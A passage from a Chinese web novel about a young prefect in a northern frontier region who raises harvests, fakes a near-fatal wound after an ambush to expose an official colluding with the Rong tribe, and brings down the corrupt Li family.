“大人们真是善心人,有志兄弟也是,听说他同知府大人您是同乡,知府大人,有志兄弟本来是分到我家来种果树的,只是如今果树也种完了,还要他帮着我们家收麦子,我们一家实在是过意不去,我们也没啥好东西的,只是不知有志兄弟的俸禄是多少?我们替他补上上个月的俸禄可行?听闻他媳妇也怀孕了,他还要在外劳作,是在是不容易。” 赵丰年笑了笑,“不必如此,他作为府衙的官吏,俸禄自有府衙出,既然他表现好,府衙自然会多奖励他,你们的银子就留着给肚子里的孩子吧。” 赵丰年特意在沙家等了等,等到了赵有志忙完。 赵有志看到他还在,也很惊讶,但是到底什么话都没说。 “活干得不错。” 赵丰年只说了一句话就让赵有志火大。 “赵丰年,你到底想干什么?我都在这里干活了,你还不满意?” “直呼上官名讳,可是不敬。” 赵有志顿了顿,又反映过来,“你才不是我上官!” “那你直呼我一知府名讳,也是不敬,亏你整日说自己是个读书人,可见这礼节修养都学到狗肚子里去了。” 赵有志却泄了一口气。 “我算什么读书人,我连个秀才都没考上,我甚至都不如赵柱子那个家伙,更别说你赵丰年了。” “我以前贼妒嫉你,你看你,比我晚读书,可是学问比我好,脑子也比我强,在私塾里,顾家两个夫子都夸你,到了赵家村,村里人也夸你,我爹更是天天拿你做比较,你都不知道,我们那个时候,顾家私塾里,就没有不讨厌你的,你也真的挺让人讨厌的。” “到了后来,我考上童生了,你也考上童生了,我靠秀才落榜了,你呢,读了官学,考上了秀才,不务正业地干什么油厂、纺织厂,结果中举中了个解元,去了府城,又去了京城,会试、殿试,成了状元,当上了官,可我呢, 兜兜转转回来还是考不上一个秀才公名,我爹整日盼着我能改换门庭,可是我却是个指望不上的。” “如果你还想科举,也不是没有机会。”赵丰年说了一句。 赵有志自嘲,“我就不是那块料子,我爹肯定也这样想,才想着把我送到了你这里,指望你能给我安排一个前程,只是你说的对,衙门里的东西重之又重,我能做什么呢?不过认识几个字而已,我刚来沙沙县的时候,连怎么挖坑种树我都不会。” “你可知,在这北地,在整个沙沙县,读书识字的人,一只手都不到?他们不是不想,是没有机会,你我能识字读书,已经是命好了,何必怨天尤人考不上秀才,也不是非要考上了才能做出一番事来,你能做什么,只有尝试去做了才知道,你不是不服气我吗,那我给你这个机会,我有意在北地兴官学,北地特殊,各个县城都没有私塾学堂,便是有志之人,也无法实现梦想,我便把此事交给你去办,倘若能让我满意,我承诺会让你考上秀才。” 赵有志沉默了。 “科举舞弊会不会有点太过了?” 赵丰年真的很想知道,是不是赵家人的脑回路都这样清奇。 他微笑,“恐怕我暂时还不想入狱,我说的是辅导你读书。” 第67章 第67章刺杀 小河县的小麦产量头一个统计出来,全县平均亩产一石八斗,最高的人家达到了亩产二石,这个数据刚出来的时候,整个小河县,无论是官员还是百姓都不敢置信。 “去年才一亩六七斗啊!就算是因着后面老天爷不下雨的缘故,可前些年也不过**斗,这、这是翻了一番啊!” “你家多少?” “一石六斗!” “那你家上肥晚了,我家有一石七斗哈哈哈——” 这样的言语最近经常出现在小河县,整个小河县都弥漫着丰收的喜悦。 而小河县隔壁的牧县最后收了平均亩产一石六斗,沙沙县也是一石六斗,犁丘县一石七斗,至于五树县,平均亩产一石四斗。 随着完整的数据被呈上府衙赵丰年的案头,府衙召开了抢收后的第一场会议。 从府衙出来后,各县官员都十分喜悦,除了五树县。 “其实一石四斗已经不少了,冷假面,你也别灰心,毕竟知府大人不是说你们去年是一亩地八斗嘛,还是有所增加的,不过我倒是没想到,你们五树县地挺肥的嘛,去年那鬼天气都有一亩八斗。” 拓九照例嘲讽完人上马,王师爷歉意地跟冷存真行了个礼,连忙跟了上去。 冷存真照样冷着一张脸,不知想些什么。 每个县都翻了个番,人家小河县去年六斗,今年一石八,何止是翻了一番,三倍都有了,而五树县土壤肥沃程度北地能排第二,要是全程跟着堆肥,怕不是也有一石七八了。 虽然就是这回,也有不少人家是后面补上来的,只不过还是要比五树县早,这才叫五树县落后了一截。 各县衙的人回到县衙后,百姓们自然也听说了其他几个县的情况,顿时便对五树县同情不已。 “要不是他们不听知府大人的,早就跟咱们一样了。” “谁叫他们不信任知府大人呢,我们可不一样,早早就堆了肥的。” “谁说不是,不过,他们晚了几个月都能有这么多,可见这堆肥有多好了。” “我家今年也是一开始没用,明年就打算早早用上了。” “我家也是!” 外头的人都替五树县的百姓不值,身在五树县的百姓知道了如此明显的对比,自然更加悔恨又不满。 悔恨于自己没有鼓起勇气坚持要学那堆肥,不满的是县衙门的不作为。 只是不等百姓们哀怨,便又马上来到了大豆收获的时候,各县百姓都要忙着进行了下一轮的抢收,五树县也一样,大豆是府衙发下的新粮种,所有人都是有担心又期待。 小河县跟沙沙县大豆种得最多,赵丰年特意留意着这两县的情况,甚至抽空的时候,找来了陆木匠,将连枷做了出来。 陆木匠只听说是一种农具,还不知道用法,见赵丰年带着东西要去小河县,连忙也跟了上去。 小河县这边,得知这是赵丰年做出来专门碾大豆的,都十分惊奇。 “还不止呢,这连枷可是我们大人小时候见家里人用大石碾子辛苦做出来的。”大胖乐呵呵地跟众人分享赵丰年“连枷神童”的故事。 众人也很给面子,直听得惊叹连连。 大豆都晒过了几日彻底干了,大胖亲自上手示范了一下,大家一下子就明白过来了,陆木匠看的也十分满足。 赵丰年也是临时想到了这一茬,又想着顺道过来瞧一瞧,如今见何县丞安排人去仿制了,这才笑着准备回府城了。 “知府大人真好呐,还特意给我们送过来。” 赵丰年骑在马上,听到这话笑了笑,便带着大胖一起走了。 而陆木匠,何县丞担心小河县的木匠看不明白,特意请他留了下来,等晚些时候再送他回去。 “阿年,你听到了吗,如今百姓们都当你跟神仙似的,我前面去犁丘县还听百姓们说,你叫做赵丰年,肯定是天上管丰收的神仙下凡来了。” 赵丰年也笑,“都是他们自己的功劳。” “哪有,分明是你,教他们堆肥,又修水利,这才有了丰收。” “最主要的是百姓们,是他们不辞辛苦用一双手劳作。” 两人这里说着,快到府城的时候,忽然冒出了几个黑衣蒙面人。 赵丰年看着他们手上闪着寒光的刀,面上一紧。 “我乃当今圣上亲封的北定府知府赵丰年,不知几位好汉有何指教?” “自然是要你的命的,废什么话!” 大胖完全吓傻了,只见那刀光剑影向他们冲了过来。 知府大人被人伏击,身受重伤,命在旦夕。 这个消息很快传遍了北地。 拓九第一时间赶往府衙,半道上碰到了何县丞,嫌弃他太慢,便带了他一程,而沙不多跟莫东西因不会骑马,也坐着马车朝府城赶过来。 到了府衙门口,何县丞立马从马上滑下来,先是吐了一地,拓九看得十分嫌弃,直接丢下人进去了。 刚进去,就看见了赵大胖垂头丧气地坐在中堂的台阶上。 “到底怎么回事?!” 大胖红着眼眶,看见是拓九,猛的用衣袖擦了一把眼泪,“前两日,我跟大人一起去小河县送东西,快回府城的时候,忽然遇到了几个黑衣人,他们都带着刀,为了保护我,大人中了刀,受伤了,流了好多血,人到现在还没醒。” 后面赶上来的何县丞刚听到这句话,就见拓九冲了过来,一把揪住他的衣领,“说,是不是你跟那些人勾结了?不然怎么会那么巧,大人从你们小河县回来路上就遭了人刺杀了!” 何县丞一口气险些没喘上来。 “我、我也是才知道这事啊!也许是那些人听说了大人出城埋伏呢?” “那怎么去我们牧县就没事,去你们小河县就出了事?” 何县丞觉得太冤了,“我哪里知道啊,那天大人 来我们小河县,我都是人通知后我才知道大人来了。” 拓九这才松了手。 这时,又见李将军领着几个背着药箱的大夫模样的人匆匆走来,连忙拦住了他。 “拓大人,大人命在旦夕,我赶着带这几位大夫过去,先不奉陪了,待一会我通知青姑娘接待几位。” 拓九都顾不上李将军喊“青姑娘”了,听他说赵丰年命在旦夕,立马更着急了。 只是知府大人遇到了这样的事,如今整个府衙都在戒备森严,每一道门都有专人把守,拓九也不好擅闯。 没过一会儿,只见赵青青走了出来。 她今天穿了一声素色的衣裙,发间素净,显然是无心装扮,如今眼框微红,显得格外脆弱。 拓九当即就心疼不已。 “见过拓大人,见过何县丞,大人出了事,不好见各位,如今府衙家里都正乱着,有怠慢不周到之处,还望谅解。” “赵典吏实在是客气了,大人出了这样的事,我们也担心,不知道大人如今情况如何?” 赵青青艰难地扯出一个笑容,“大人还未度过难关,一直在发热,如今,也只能看看大夫有什么办法没有了。” “笑不出来就不要笑了。” 赵青青惊讶地看着拓九。 “我知道,大人受伤了,你肯定心里难过,难过就不要笑了,不要勉强自己。” 难得见到这样认真的拓九,赵青青敛眸,“多谢拓大人。” 不多时,沙不多跟莫东西也到了,到了地方,见氛围凝重,正要问赵丰年情况,就见拓九站了起来。 “前几日从小河县回来的路上遭人刺杀了,伤得很重,大夫来了一个又一个,还在发热。” 赵青青看了他一眼,没说话。 “怎、怎么回这样呢?知府大人这么好的人,怎么有人这样狠心?”沙不多愁眉苦脸。 “是啊,我也想问,怎么会有人做出这种事呢!” 拓九又坐了回去,看了他们一眼,忽然嗤笑一声,“还不明显吗,看看谁不在场就知道了。” 莫东西迟疑,“你是说,五树县?” “哼,那个冷存真,本来就跟知府大人对着干,又跟李均盛富贵搅合在一起,自然不是什么好人,我本以为他只是脸黑,心里是装着百姓的,没想到心都是黑的!赵大人待我们怎么样,来到了北地后北地又有了怎么样的变化,大家都是看在眼里的,真想要北地越来越好的,谁会对大人下手,除了他们,还能有谁?” “冷存真不像是哪种人……” 拓九看了莫东西一眼,“你站他那边?也是,原本你也有些摇摆不定,说不定你也放过消息,谁又说得准呢?” 眼看拓九就要无差别攻击了,赵青青忙站出来平息纷争。 “各位,大家都是关心大人,大人知道了心里肯定很感谢大家,只是如今大人性命垂危,而幕后黑手还未找到线索,我们就先乱了,岂不是正合了旁人的意?依我看,几位不如先回去,等大人好些了,或是有了什么消息了,我再通知大家如何?” 几人相互看了眼,就打算离开了。 正当这时,王文从外头跑了过来。 “赵吏,您让我留意的,那盛,盛通判果真不见了!” 说完,他仿佛才看到还有这么多人在,忙后知后觉捂住了嘴。 只是,显然是太晚了。 “盛富贵?什么叫他不见了?好啊,果然这件事就跟他有关系是不是?” 赵青青为难。 何县丞也上前一步,“赵典吏,有什么话不能告诉我等的?我们都是跟知府大人同一阵线的,不如说出来,我们也好一起想想?” 赵青青叹了口气,“罢了,既然你们都听到了……其实,大人还没出事之前,我们就怀疑盛通判勾结李家哄抬粮价,更是得到了消息说他们勾结戎族,大人就派人盯着他,只是还没抓住他勾结戎族的证据,大人就……如今,大人还不省人事,盛富贵却跑了,怕是跟找不到证据了。” “这还要什么证据?这明摆着就是他做的!大人没来之前,那盛富贵跟李均就是北地的土皇帝,后面大人来了,又是他的上官,他权利被夺必然心里不满,加之大人在北地声望越来越高,他就越发没了地位,便想着勾结戎族害大人,只是没想到大人先派人盯住了他,他便想先下手为强,趁着大人受伤顾不上他,就逃了,这还不显而易看吗?” 莫东西还在那里思索,而沙不多跟何县丞已经深信不疑了。 莫东西总觉得没那么简单,但几人都这样说,听着听着,他便也觉得确实是这样的。 “即便当真是如此,只是如今大人受伤了,也拿他们没办法,还望近来几位大人回去后加强人手巡逻,不怕一万,就怕万一那盛富贵当真是逃去了戎族,勾结外族,趁我们北地丰收抢粮,那可就糟了。” 赵青青这么一说,几人顿时明白了严重性,来不及多说,纷纷准备回去了。 赵青青送至府衙门口。 拓九上了马,深深看了赵青青一眼。 “怎么了,拓大人?” “你,不要太难过了。” 赵青青微微一笑,“多谢拓大人,我记着了。” 送走各县的人,赵青青才回到后院。 路过赵大胖的时候,见他还是萎靡不振,停了停,又继续往前走了。 到了赵丰年门口,李将军看了她一眼,摇摇头。 “我已经让王文去更远的地方请大夫了,但愿大人能早些醒过来吧,这些日子还要继续劳烦李将军镇守府衙了。” 李将军点点头,“青姑娘只管放心。” 赵青青跟李将军商量完,这才到了内堂,见大家都在,巧娘靠着赵来贺抽泣,忍不住叹了口气。 “婶娘,你放心,我不是说了吗,我们已经派人去京城,让傅家出面,请最好的大夫,阿年一定会平安无事的。” 巧娘一把抱住她,“我可怜的宝儿啊——” 赵来贵吴菊香看着这一幕,百味交集。 跟赵有志一样,前些日子看到赵青青赵翠翠第一眼的时候他们都大吃了一惊,只是不同于赵有志,他们经历过女儿起初的乌龙,当即就明白了,起初姐妹俩的死,怕是掩人耳目,又想到赵来喜王小红如何对待两个女儿,便是他们也忍不住心生同情。 如今,他们也只当巧娘真多了两个远房外甥女罢了。 赵来贵吴菊香本来已经搬出去跟赵小云柳大尺一起住了,只是听说了赵丰年受伤的消息这几日都来陪着,此时见了这场景,也忍不住伤心。 而大胖走过来见了,又是全然的自责。 “都是我不好,我当时就应该冲到前面去,宁可自己受伤也不叫宝儿替我挡刀!” 赵有志难得安慰他,“那些人就是冲着他来的,而且,人家有五六个人,你们就两个人,根本不是对方的对手。” “宝儿曾经说有办法让盛富贵消失的,是我,是我让他改变的注意,要是我当时直接说让他把盛富贵弄死,就不会发生今天的事了。” 赵有志可不知道还有这回事。 “是我太软弱了,也是我太天真了,看不清这里面的危险,宝儿善良,愿意给别人机会,可旁人又如何肯给他机会,直接下死手了,我不配跟在宝儿身边!我也没保护好他,反而让他来保护我。” “我不知道你怎么回事,但是,如果有下一次,我想,他还是会保护你的。” 赵有志是真的这么想,他也是真的觉得这会是赵丰年能做出来的事,想到 这里,他居然有些羡慕。 而另一边,各县衙的人回到县衙,连夜召集了人手,准备全面戒严。 到了第二天,各县百姓忽然发现守卫森严了起来,纷纷打听是不是出了什么事,这不打听不知道,一听吓一跳。 知府大人竟然叫人刺杀,危在旦夕了! 顿时,各县都炸了锅了。 第68章 第68章抓住了 “是什么人这么狠心,那么心善的知府大人都要害!” “这哪里是要害知府大人,是要害咱们老百姓啊,知府大人来了后,做了不少事,我们的日子才终于好过些,眼瞅着这日子就要越过越好了,越来越有盼头了,那帮子人就看不下去了,非要毁了知府大人,毁了我们的好日子!” “知府大人是为了给我们送给大豆脱粒的工具才被害的,可见那坏人就是看不得我们好!” “只是这人是谁呢,衙门里的大人只说还在排查,也不知道结果怎么样了。” “这还用查吗?除了那府城的李家还能有谁,知府大人教咱们堆肥,小麦就大丰收,如今大豆也收了,瞧着产量肯定也少不到哪里去,谁最见不得咱老百姓手里有粮的,不就是那李家!” “我听说,府衙门里出了叛徒,有个通判逃了,八成是他出卖了知府大人!” “什么叛徒,那盛富贵就是个笑面虎黑心肠的,跟那李家都不是什么好种,我听说他不满知府大人来夺了他的权,勾结了戎族,想要趁着收粮来抢咱们的粮食呢,怕被知府大人知道了,就伙同那李家一起找人刺杀知府大人!” “难怪最近县城里村子里都在戒严,都不许我们随意外出,竟然是这样!” “天杀的戎子,天杀的盛富贵!天杀的李家!” 百姓们义愤填膺,恨不得生吃了李家跟盛富贵。 这种说法在各个县愈演愈烈,县衙得知此事,却并不派人遏止澄清,这也让百姓们更加确信就是盛富贵伙同李家勾结戎子刺杀赵丰年,还要来抢粮食,一时间,各村各县纷纷组织人员上书请愿,希望府城将盛富贵与李家都抓起来。 五树县府衙。 “大人,如今百姓们都在做万民表,是不是要压一压?” 冷存真看了他一眼,“压什么压?既说是万民表,便是百姓的意愿,如何是我们压得下来的?” 张主簿闻言有些惊讶,“可是,盛大人跟李家主可说了,让大人随机应变,大人可莫要忘记才是——” “我乃大夏天元十五年的进士,上过金銮殿,赴过琼林宴,他盛富贵、李均又是个什么东西,也想做我的主子?” 张主簿大惊失色,却对上了一双比北地的雪还要冷的眸子。 府城,赵青青杨菱等人看到各县送来的万名表,以及李家罪证状纸,心下欣慰。 “倘若大人看到这些,定会十分开心,这就是百姓的志愿,这就是民心啊,有了这个,衙门就能发难李家,押下盛富贵了。”杨菱捋着胡须,不住地点头。 赵青青将东西收起,“这些日子,辛苦大家了,我将这些东西读给大人听,希望他听到这些消息,能早些醒来。” “府衙外头百姓们还在为大人祈福,大人吉人天相,一定会好起来的!”王文双手合十。 赵青青一路穿过前衙,中庭,到了后院,进了赵丰年的院子,跟门口守卫的两个护卫点了点头,两人回礼后,推开了门,待赵青青进去,才重新关上了门。 “看来一切顺利?”只见赵丰年笑着在棋盘上落下一子,而对面的赵有志面无表情丢下一颗白棋。 “既然你们计划要完成了,那我是不是可以出去了?” 赵青青对着他莞尔一笑,“计划顺利,可还尚未完成,怕是还要有志哥继续‘照顾’阿年一些时日了。” 赵有志气结,“我只是不小心撞见了,也都保证了不会告诉其他人,你们有必要嘛?再说,你怎么跟外头说的,说我在这里照顾他?也太假了吧!谁会信啊!” “哦,婶娘他们都相信的,说患难见真情呢,恭喜你,有志哥,你在大家心目中的形象瞬间高大了几分呢。” 赵有志气闷不已,当即也不管他们,走到了隔间自己暂时的‘住所’,直接往榻上一躺,眼不见为净。 赵青青收回目光,将东西放到了赵丰年面前。 “可以收网了。” 赵丰年受了伤不假,却非致命伤。 那天,赵丰年跟大胖在府城外遇到黑衣蒙面人,赵丰年第一时间想的是拖延时间,毕竟李将军一直有派人暗中保护他赶来只是时间问题,只是他没想到的是,那些人并没有上当,要不是他们是骑着马,还能周璇一二,怕是要当场毙命。 好在李将军的人及时赶到,他才只伤了一只手臂,也就是在那一瞬间,他打算将计就计。 赵丰年的伤口不大,但是流了不少血,也很能唬人,几乎是李将军到的第一时间,两人视线交错,这个计划就启动了。 至于大胖,许是被赵丰年挡在他前面的样子吓坏了,还没回过神来,就被带回了府衙,一直以为赵丰年伤得很重,赵青青提出,为了真实可信,索性连他一起瞒着。 赵丰年看着赵青青,赵青青却头一回没有听他的。 “阿年,你的未来的路注定要披荆斩棘,跟着你的人,并非有一颗衷心就够了,有些黑暗面,他可以不接触,却不能不知道,大胖哥远比你想象的更加坚强,你也应该相信他,否则,你护得了他一时,却护不了他一世。” 赵丰年沉默了片刻。 “青姐,如果可以,我也希望你能远离这世间所有的黑暗。” 赵青青勾起唇角,“可是我已经看到过了,这不是你的错,不过,你放心好了,我向你保证,我永远不会是踏入黑暗的那个人。” 赵丰年妥协了,他相信赵青青。 府衙这边,本来只有赵青青跟李将军知道整个计划,但是很不巧,就在几人商量的时候,撞上了来找赵丰年回话的赵有志。 于是,赵有志就被留下来“照顾”赵丰年了。 再后面,就是各县衙官员得知了消息来府衙打听情况,在赵青青的授意下,这场知府大人遭刺重伤的消息就被放了出去。 “盛富贵那边如何了?” “如你所料,老狐狸果然没有离开北定府,李将军的人跟着他,看到他在城外三十里一家农户家里跟人碰了头,被我们的人当场抓获,李将军传回消息,说会安排人在那边继续守着,至于盛富贵还有那戎族人,看你的安排什么时候押送回来。” “戎族在北山关外,为何能突破北山关深入北地?” 赵青青也想不通这一点,“李将军说盛富贵坚持只是要求那戎族带他离开北地,不曾有过勾结他们过来抢粮的想法。” 赵丰年想了想,“看来,我也该‘醒了’,让李将军把人带回来吧,热闹些。” “我明白了。” 赵青青说完便要离开,这时候赵有志又跳了起来。 “喂,赵青青,你到底什么时候放我出去?” 赵青青诧异回眸,“什么放不放的,你不是还要跟着阿年商议如何在北地推行官学嘛?” 赵有志愣了愣,直到赵青青离开了,他这才反 应过来,赵青青是帮他呢,当即便有些不是滋味。 赵丰年笑着摇摇头,心想,赵青青还是那个赵家村的赵青青。 得知府衙的人抓到了盛富贵,还有跟他一起勾结的戎子,不日就要押送回府城了,百姓们气愤之余又自发准备了石子,至于臭鸡蛋烂叶子,那是没有的,毕竟人都不够吃,哪里能叫坏掉,不过这石子也不能太大了,免得真将人打死了,知府大人都不好报仇了。 倘若赵丰年知道了百姓心里的想法,肯定会哭笑不得地夸赞百姓贴心了。 于是,等盛富贵跟那戎子被押送回来这天,通往府衙的路上站满了愤怒的百姓,甚至有百姓特意从其他县城赶过来,就为了冲卖国贼扔一把石子。 待两人押到府衙,已经是不成人样了。 王文看到人简直不敢相信面前狼狈不堪的人就是是以前那个富态又姿态高高在上的盛富贵。 介于知府大人还“重伤未醒”,两人走完流程就被押到了大牢。 而到了大牢,已经有一个人等在那里了。 “盛大人,好久不见呐。” 赵丰年看着他们,微微一笑。 盛富贵一抬头看到是赵丰年,瞬间瞳孔放大,随即迅速反应了过来,“赵丰年,你不是?你怎么会?不对,你根本没有受伤!也没有昏迷不醒!你是装的!” 赵丰年连忙坐在了为他准备的圈椅上,又抬起了还包扎着的右手,朝他挥了挥手,“怎么会呢?本府可是被你派人刺杀,重伤难愈,奄奄一息,这会儿刚苏醒过来,你瞧,这不是还包扎着呢嘛。” 盛富贵知道他在羞辱自己,当即又是气愤不已。 赵丰年笑了,“说说吧,盛通判,你们的计划是什么?” “我不明白你的意思,赵大人,我已经跟李将军交代了,我确实认识戎族,可这北地,谁不认识几个戎族人?就是两年前,我们这些人也都是戎人,赵大人来了后便排挤我,我做不下去这个通判,自然是想着离开,什么刺杀不刺杀的,我可不知道,就算赵大人不待见我,也不该拿这些子虚乌有的事赖到我头上,更别提叫李将军直接拿人了,这恐怕不合规矩吧?” 赵丰年没想到到了现在他还妄想狡辩,“规矩?那就要问问盛大人,遵的是哪边的规矩了?你口口声声说只是认识戎人,说两年前大家都是戎人,可这里的百姓却以为自己还是中原人,我倒是不知道,盛大人的姓氏原来出自戎族,想来是我孤陋寡闻了。” “你!”盛富贵怒极,却料定赵丰年没有证据,“赵大人,多说无益,倘若你拿不出证据来,就别想将勾结戎族的罪落到我头上,你如今在北地只手遮天,却不知我朝廷里也是有人的!回头陛下知道了你这样冤枉残害同僚,定不会饶了你!” 赵丰年挑眉,“看来你还有同伙?” 盛富贵气得直接闭了嘴。 赵丰年笑了笑,“听闻这个戎人不会说中原话,我们沟通不了?不过你放心,李将军的人不会说戎族语没关系,自然是有人会说,届时自然分明,至于你盛富贵,就算治不了你通敌的罪,这不还有个刺杀知府的罪么,总能叫你死一死的。” 说完,赵丰年不紧不慢,“带上来。” 盛富贵提高警惕,却见到了一个同样蓬头垢发的人。 “盛、盛大人——” “盛大人可认识此人?此人名叫葛达,据他所说,盛大人特意找到的他,然后安排进了府衙,目的就是盯着本府的行踪,然后告诉你们,好让你们展开刺杀知府行动。” 盛富贵矢口否认,“什么葛达的,我可不认识他,再说,招人的事你们什么时候让我经手了,你就算想往我身上泼脏水,也未免太急于求成了吧。” 葛达绝望地苦笑,想必是来之前就知道了这个下场,转而跪在了赵丰年面前,“赵大人,您想要的证据就在我家,火炕左数第二块泥砖缝里,盛大人,你不认我没关系,我记着就行了,从答应你的那一天开始,我就没打算能活着了。” 盛富贵着急,正要说什么,却被人拉住堵住了嘴。 王文在一旁听了葛达的话,当即义愤填膺,“大人带来的火炕你也用上了,最后竟是将东西藏在火炕的砖缝里,藏的时候你想到大人给你带来的好处,就不觉得羞愧吗?!” 葛达再次苦笑,“我是真的想成为府衙的人,为知府大人做事,得知我选上了小吏,我是多么的希望这就是真的啊,可是,可是我妹妹是戎人,在村子里遭尽了白眼,人也病了,盛富贵说,他可以帮我妹妹找到自己的家人,我也是没有办法。” “这种人说的话你也相信?那你妹妹还不如没有你这个哥哥!” 来人正是拓九。 “大人!你喊我来,就是收拾他?他出自我牧县,却吃里爬外,跟外人勾结暗害大人,确实该死!你等等,我这就亲自了解他的性命!” 赵丰年忙示意王文将人拦了下来,无奈摇头,“你精通戎语,里面是个纯戎人,我叫你来是想让你帮我问问他,他们的计划是什么。” 拓九顺着看过去,“他确实是戎族人,而且身份不低。” “这个都能看出来?” 拓九点点头,“戎人崇尚武士,等级森严,只有王廷相关的人才能佩戴两个兽牙。” “那就交给你了。” “那人起先还不肯承认,被我点破后才说真话,他说他是戎人头领的叔叔,担任财政官,他们一直跟盛富贵往来,低价购买北地的粮食,其实说是低价买,就是直接拿,他们则帮盛富贵除掉朝廷来的官员,这回盛富贵以为也成了,为了教训府衙其他人,也为了他更好接手府衙,正好秋收了,便想着直接让他们的人过来抢掠,他好出面演一场戏。” “好一个卖国贼。”赵丰年都气笑了,“不过,你看到我似乎并不惊讶?” 拓九挠挠头,“我总觉得赵大人你脑子这么聪明,肯定不会真的出事,不过起先也吓了一跳,只是等听那王文假装在赵典吏面前说漏嘴,才反应过来可能是假的,赵典吏也是个很聪明很聪明的人,她是一个走一步都要想三步的人,当着其他人说漏嘴的事,怎么会出现在她的下属里面呢。” 赵丰年就笑了,“那你反应倒是快,赵典吏跟我说了,你配合得很好。” 拓九一瞬间就红了脸,“赵、赵典吏真的是这么夸我的吗?” 倒也不算夸赞,就是说好在拓县令头脑简单直接咬定了盛富贵跟李家勾结戎族的事。 不过这就没必要提了。 拓九走后,赵丰年喊来了赵翠翠,问她葛达的事。 “葛达,九岁没了娘,爹娶戎人后娘带女儿进门,两年前离开北地,留下妹妹阿采被排挤,夫家悔婚,葛达想妹妹找亲娘。” “原来如此,翠翠如今说话越来越连贯了,真不错。” 赵翠翠点点头,“弟弟越来越会夸人了,也真不错。” 赵丰年苦笑不得,“你个狭促的,你就说吧,把葛达招进来是不是你姐姐叮嘱的?” “弟弟说,放长线钓大鱼。” “行行行,是我的意思,只不过,特意挑了这么一个人,也难为你们了。” “不客气,弟弟。” 赵丰年是知道葛达有问题的,毕竟主动放个缺口,也是赵丰年的意思,赵青青一早跟他报备过,只是,他没想到的是,葛达背负着这样的身世。 “到底是戎人,即便是在戎人血脉最多的牧县,也免不了被欺辱,我们找人打听过了,阿采原先的未婚夫家也有半个戎人血脉,之所以跟葛家订亲,就是看中了阿采戎人的身份,如今北地回到了大夏,这戎人身份自然不会让他们过得好一些,就嫌弃起这桩婚约,为了退婚他们到处说阿采的坏话,阿采受到打击跳河自尽,被人救回来后,就变得有些痴傻了,估计葛达也是想着,把阿采送回她娘那边,阿采身为戎人,就不会被欺负,病也能好起来了。” 杨菱叹了口气,于心不忍,“起初那些人走的匆忙,阿采的娘怕是忘记带上阿采了,葛达父亲也是那时候过的世,也难为葛达这般关心一个并无血缘关系的妹妹了。” 赵丰年也叹了口气,“葛达虽然犯错,只是他妹妹无辜,如今他要送去挖河道服役,他妹妹那边,跟拓九说说,留意顾念着些吧。” “是,大人。” 第69章 第69章…… 盛富贵勾结戎族的事,牵涉太多,光是戎族怎么突破的北门关都够镇守边关的一众将领官员喝一壶了,从他家搜到的那些书信往来也证明了戎族肯定是通过某个隘口进入了边关来到了北地,赵丰年肯定是要上折子去京城的。 折子还没写完,他这边矛头就指向了李家。 只是没等他这里行动,李家那边却先是服了软。 自从知道了赵丰年重伤命垂一线,李家主激动坏了,就指望着哪一天府衙外头忽然挂了素。 可谁成想 ,过了一阵子,府衙那边大夫请了一个又一个,病危也是下了一次又一次,非但没听到赵丰年死的消息,反倒是盛富贵跟一个戎人被府衙的人押了回来,当即李家主就意识到大事不妙了。 他们这些人虽然没有直接联系戎族,可是给戎族送粮行方便可一个不少,更何况他们跟盛富贵来往甚深,盛富贵落网了,他李家还能保得住吗?下一个岂不是要轮到他李家了。 因此,一听说知府大人醒了,李家主连忙让人替他备上了厚礼准备前去探望。 赵丰年抽空见了李家主一面。 “哎呦,赵大人,见着您没事我这心里头可就放心了,原先听说您遭了刺杀,我这心里可真是担心极了,有心想来衙门里瞧瞧您吧,又怕扰了您静养,只能日日在家为您祝祷,期盼您能早日恢复!如今看到您这样,我悬着的心也算是能放下来了。” 果然是见人说人话,见鬼说鬼话的生意人。 赵丰年扯出一个笑,“李家主来得正好,我正想找李家主呢。” 李家主脸上笑容微收,“不知赵大人找草民何事?” “自然是盛通判,哦,如今要叫卖国贼了,那盛贼上刑的时候,可是供出了不少李家的腌臢事啊,本府也着实是没想到,李家在北地肆意兼并百姓土地,恶意竞争打击商户,放任族中子弟欺男霸女,这些种种也就罢了,竟然还为那些戎贼行方便,帮戎贼送粮运物资。” 赵丰年每说一条,李家主的头就低了一分,待赵丰年说完,李家主已经跪在地上了。 “大人冤枉啊!那盛贼定然是胡乱攀咬!我李家家大业大,有人眼红盯着也就罢了,只是做什么要帮助那戎贼!我们图啥呀?” “那就要问问李家主了,你们李家生意做得这么大,在北地可不容易啊。” 赵丰年似笑非笑,李家主还要继续狡辩,却被赵丰年拦住了。 “李均,本府也不瞒你,盛家有你李家主私章的书信,账本也有,单凭这个,我就能直接带人抄家,既然你自个儿先找上来了,我便索性再给你一个机会,说出戎族进关的路线,本府承诺可饶恕你族中旁枝男丁性命,否则,休怪本府无情了。” 李家主浑身颤动,“大、大人,他们走得哪条路,我们怎么会知道?我们也只是个小喽啰,听人家做事的——” “李均!我听闻你家在五十多年前,也曾是抵抗戎族的先锋,如今在戎人面前跪久了,竟都忘了祖辈的大志不成?我只给你一天时间考虑,明天太阳落山之前得不到消息,那么北地也不用再有李家了。” 李家主浑浑噩噩回到家中。 只见几个族人焦急着都围了过来。 “家主,如何了?” “爹,知府大人怎么说?” 李均面如死灰,将赵丰年的话跟李家众人说了。 顿时,一家人都白了脸。 李均儿子怒火中烧,“我们李家盘踞北地百年,他一个知府小儿,凭什么判我们的罪!” “啪——” 李家主一巴掌打在儿子脸上,“凭什么,凭他是北定府知府!” 李家主一口气泄下。 “王家是对的,家族生意做得再大又有什么用?民不与官斗,没有把柄也就罢了,如今人家捏着证据,一句话的事,李家又算得了什么?还是要族里后继有人,我听说,赵知府已经准备官学事宜了,北地迟早会有学堂,到时候,你们家中有合适的后辈,尽量都送过去吧。” “可是,咱们犯的事,诛九族也不为过,还能剩下什么人?” 众人一片凄凄惨惨。 李家主叹了口气,“只看明日知府大人瞧不瞧得上我们百年的积累了。” 十月金秋时分,李家因通敌卖国被抄家,除了老弱妇孺,均被关押了起来。 通敌卖国是诛九族的死罪,要禀报到京城,就是赵丰年也没办法徇私,但是赵丰年还是保下了李家的几个旁支后代。 李家一倒,依附李家的一众商户纷纷去商会拜访了王家主,只求他能在知府大人面前美言几句。 百姓们还没从得知知府大人脱离生命危险的喜悦中反应过来,就发现李家没了。 “自作孽不可活,李家可是低价收了我们的粮送给戎子啊!我们那时候饿得只能啃树皮草根了,他们视而不见,还要榨干我们最后一点存粮!你们听到了吗,他们家搜出来几千万两银子啊!” 没有人觉得李家无辜,甚至有不少人哭着烧纸钱告诉因李家而亡的家人这个好消息。 